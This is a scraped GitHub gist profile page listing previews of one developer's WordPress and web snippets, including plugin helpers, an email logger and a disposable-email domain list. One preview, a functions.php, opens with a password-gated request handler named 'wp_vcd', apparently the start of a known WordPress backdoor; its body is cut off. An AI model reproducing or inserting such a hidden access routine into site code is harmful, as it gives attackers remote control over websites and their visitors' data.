Skip to content

Instantly share code, notes, and snippets.

Avatar
🎯
Focusing

Tareq Hasan tareq1988

🎯
Focusing
View GitHub Profile
@tareq1988
tareq1988 / disposable-email-provider-domains
Last active May 31, 2020 — forked from lcherone/disposable-email-provider-domains
List of disposable email provider domains
View disposable-email-provider-domains
0815.ru
0815.ru0clickemail.com
0815.ry
0815.su
0845.ru
0clickemail.com
0-mail.com
0wnd.net
0wnd.org
10mail.com
View get webpage thumbnails from Google
<?php
$sites = "http://www.broadcastsolutions.com.au/
http://www.kvm.com.au/
http://www.ambertech.com.au/";
$sites = preg_split('/\r\n|\r|\n/', $sites);
echo "
@tareq1988
tareq1988 / script.js
Last active Nov 14, 2018
Sort a plugin author's all plugin by active installation count on wp.org
View script.js
(function($) {
var total = 0;
var list = [];
let plugins = $('#content-plugins ul li');
console.log('Number of Plugins: ' + plugins.length);
plugins.each(function(index, el) {
let plugin = $(el);
View functions.php
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '35c977caf96f9197995d4b4d3e14f253'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
@tareq1988
tareq1988 / functions.php
Created Oct 27, 2018
Dokan seller info in popup on store page
View functions.php
<?php
add_action( 'wp_enqueue_scripts', function() {
if ( ! dokan_is_store_page() ) {
return;
}
wp_enqueue_style('dokan-magnific-popup');
wp_enqueue_script('dokan-popup');
} );
View etc-hosts-on-win.md

1. Get your IP Address

echo `ifconfig $(netstat -nr | grep -e default -e "^0\.0\.0\.0" | head -1 | awk '{print $NF}') | grep -e "inet " | sed -e 's/.*inet //' -e 's/ .*//' -e 's/.*\://'`

2. Modify your hosts file

notepad

@tareq1988
tareq1988 / fb-group.php
Last active Feb 25, 2018
Facebook Group to WP - Post Type Changer
View fb-group.php
<?php
/**
* Plugin Name: Facebook Group to WP - Post Type Changer
* Description: Changes the default Facebook Group post type to Post
* Plugin URI: https://wordpress.org/plugins/fb-group-to-wp/
* Author: Tareq Hasan
* Author URI: https://tareq.co
* Version: 1.0
* License: GPL2 or later
* License URI: https://www.gnu.org/licenses/gpl-2.0.html
@tareq1988
tareq1988 / email-log.php
Created Sep 12, 2017
WordPress Email Log to File
View email-log.php
<?php
/**
* Plugin Name: Email Log
* Plugin URI: https://tareq.co
* Description: Log all outgoing emails to <code>wp-content/uploads/emails/DATE.log</code> file
* Author: Tareq Hasan
* Author URI: https://tareq.co
* Version: 1.0
*/
@tareq1988
tareq1988 / prli-override.php
Created Jul 7, 2017
Override pretty link admin area access role
View prli-override.php
<?php
/*
Plugin Name: Pretty Link Role Override
Description: Override pretty link admin area access role
Plugin URI: http://tareq.co
Author: Tareq Hasan
Author URI: http://tareq.co
Version: 1.0
License: GPL2
*/
@tareq1988
tareq1988 / wpuf-woo-price.php
Created Jan 6, 2016
WooCommerce price adjustment for WPUF
View wpuf-woo-price.php
<?php
/**
* WooCommerce price adjustment for WPUF
*
* @param int $post_id
*
* @return void
*/
function wpufe_update_post_price( $post_id ) {